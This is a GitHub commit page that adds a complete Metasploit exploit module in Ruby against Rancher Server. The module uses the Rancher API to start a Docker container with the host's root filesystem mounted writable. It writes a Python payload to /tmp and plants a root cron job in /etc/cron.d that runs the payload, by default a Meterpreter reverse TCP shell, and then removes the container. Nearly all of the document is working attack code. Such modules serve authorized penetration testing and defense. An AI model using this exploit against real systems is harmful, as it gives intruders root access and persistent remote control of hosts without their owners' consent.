Skip to content

Commit 6a20e1a

Browse files
committed
Add module Rancher Server - Docker Exploit
1 parent c9853a6 commit 6a20e1a

File tree

1 file changed

+190
-0
lines changed

1 file changed

+190
-0
lines changed
Lines changed: 190 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,190 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Rancher Server - Docker Exploit',
15+
'Description' => %q(
16+
Utilizing Rancher Server, an attacker can create a docker container
17+
with the '/' path mounted with read/write permissions on the host
18+
server that is running the docker container. As the docker container
19+
executes command as uid 0 it is honored by the host operating system
20+
allowing the attacker to edit/create files owed by root. This exploit
21+
abuses this to creates a cron job in the '/etc/cron.d/' path of the
22+
host server.
23+
24+
The Docker image should exist on the target system or be a valid image
25+
from hub.docker.com.
26+
),
27+
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
28+
'License' => MSF_LICENSE,
29+
'References' => [
30+
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
31+
],
32+
'Platform' => 'linux',
33+
'Targets' => [
34+
[ 'Python', {
35+
'Platform' => 'python',
36+
'Arch' => ARCH_PYTHON,
37+
'Payload' => {
38+
'Compat' => {
39+
'ConnectionType' => 'reverse noconn none tunnel'
40+
}
41+
}
42+
}]
43+
],
44+
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'python/meterpreter/reverse_tcp' },
45+
'DefaultTarget' => 0,
46+
'DisclosureDate' => 'Jul 27, 2017'))
47+
48+
register_options(
49+
[
50+
Opt::RPORT(8080),
51+
OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]),
52+
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
53+
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]),
54+
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
55+
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
56+
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
57+
]
58+
)
59+
end
60+
61+
def del_container(rancher_container_id, container_id)
62+
res = send_request_raw(
63+
'method' => 'DELETE',
64+
'headers' => { 'Accept' => 'application/json' },
65+
'uri' => normalize_uri(target_uri.path, 'containers', rancher_container_id)
66+
)
67+
return vprint_good('The docker container has been removed.') if res && res.code == 200
68+
69+
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
70+
end
71+
72+
def make_container_id
73+
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
74+
75+
rand_text_alpha_lower(8)
76+
end
77+
78+
def make_cmd(mnt_path, cron_path, payload_path)
79+
vprint_status('Creating the docker container command')
80+
echo_cron_path = mnt_path + cron_path
81+
echo_payload_path = mnt_path + payload_path
82+
83+
cron_command = "python #{payload_path}"
84+
payload_data = payload.raw
85+
86+
command = "echo \"#{payload_data}\" >> #{echo_payload_path} \&\& "
87+
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
88+
command << "echo \"\" >> #{echo_cron_path} \&\& "
89+
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
90+
91+
command
92+
end
93+
94+
def make_container(mnt_path, cron_path, payload_path, container_id)
95+
vprint_status('Setting container json request variables')
96+
{
97+
'instanceTriggeredStop' => 'stop',
98+
'startOnCreate' => true,
99+
'networkMode' => 'managed',
100+
'type' => 'container',
101+
'dataVolumes' => [ '/:' + mnt_path ],
102+
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
103+
'name' => container_id,
104+
'command' => make_cmd(mnt_path, cron_path, payload_path),
105+
'entryPoint' => %w[sh -c]
106+
}
107+
end
108+
109+
def check
110+
res = send_request_raw(
111+
'method' => 'GET',
112+
'uri' => normalize_uri(target_uri.path, 'containers'),
113+
'headers' => { 'Accept' => 'application/json' }
114+
)
115+
116+
if res.nil?
117+
print_error('Failed to connect to the target')
118+
return Exploit::CheckCode::Unknown
119+
end
120+
121+
if res.code == 401 and res.headers.to_json.include? 'X-Rancher-Version'
122+
print_error('Authorization is required. Provide valid Rancher API Keys.')
123+
return Exploit::CheckCode::Detected
124+
end
125+
126+
if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
127+
return Exploit::CheckCode::Appears
128+
end
129+
130+
Exploit::CheckCode::Safe
131+
end
132+
133+
def exploit
134+
unless check == Exploit::CheckCode::Appears
135+
fail_with(Failure::Unknown, 'Failed to connect to the target')
136+
end
137+
138+
# create required information to create json container information
139+
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
140+
payload_path = '/tmp/' + rand_text_alpha(8)
141+
mnt_path = '/mnt/' + rand_text_alpha(8)
142+
container_id = make_container_id
143+
144+
# deploy docker container
145+
res = send_request_raw(
146+
'method' => 'POST',
147+
'uri' => normalize_uri(target_uri.path, 'containers'),
148+
'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' },
149+
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
150+
)
151+
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
152+
153+
print_good('The docker container is created, waiting for it to deploy')
154+
155+
# cleanup
156+
register_files_for_cleanup(cron_path, payload_path)
157+
158+
rancher_container_id = JSON.parse(res.body)['id']
159+
deleted_container = false
160+
161+
sleep_time = 5
162+
wait_time = datastore['WAIT_TIMEOUT']
163+
vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
164+
165+
while wait_time.positive?
166+
sleep(sleep_time)
167+
wait_time -= sleep_time
168+
169+
res = send_request_raw(
170+
'method' => 'GET',
171+
'uri' => normalize_uri(target_uri.path, 'containers', '?name=' + container_id),
172+
'headers' => { 'Accept' => 'application/json' }
173+
)
174+
next unless res.code == 200 and res.body.include? 'stopped'
175+
176+
vprint_good('The docker container has stopped, now trying to remove it')
177+
del_container(rancher_container_id, container_id)
178+
deleted_container = true
179+
wait_time = 0
180+
end
181+
182+
# if container does not deploy, try to remove it and fail out
183+
unless deleted_container
184+
del_container(rancher_container_id, container_id)
185+
fail_with(Failure::Unknown, "The docker container failed to start")
186+
end
187+
188+
print_status('Waiting for the cron job to run, can take up to 60 seconds')
189+
end
190+
end

0 commit comments

Comments
 (0)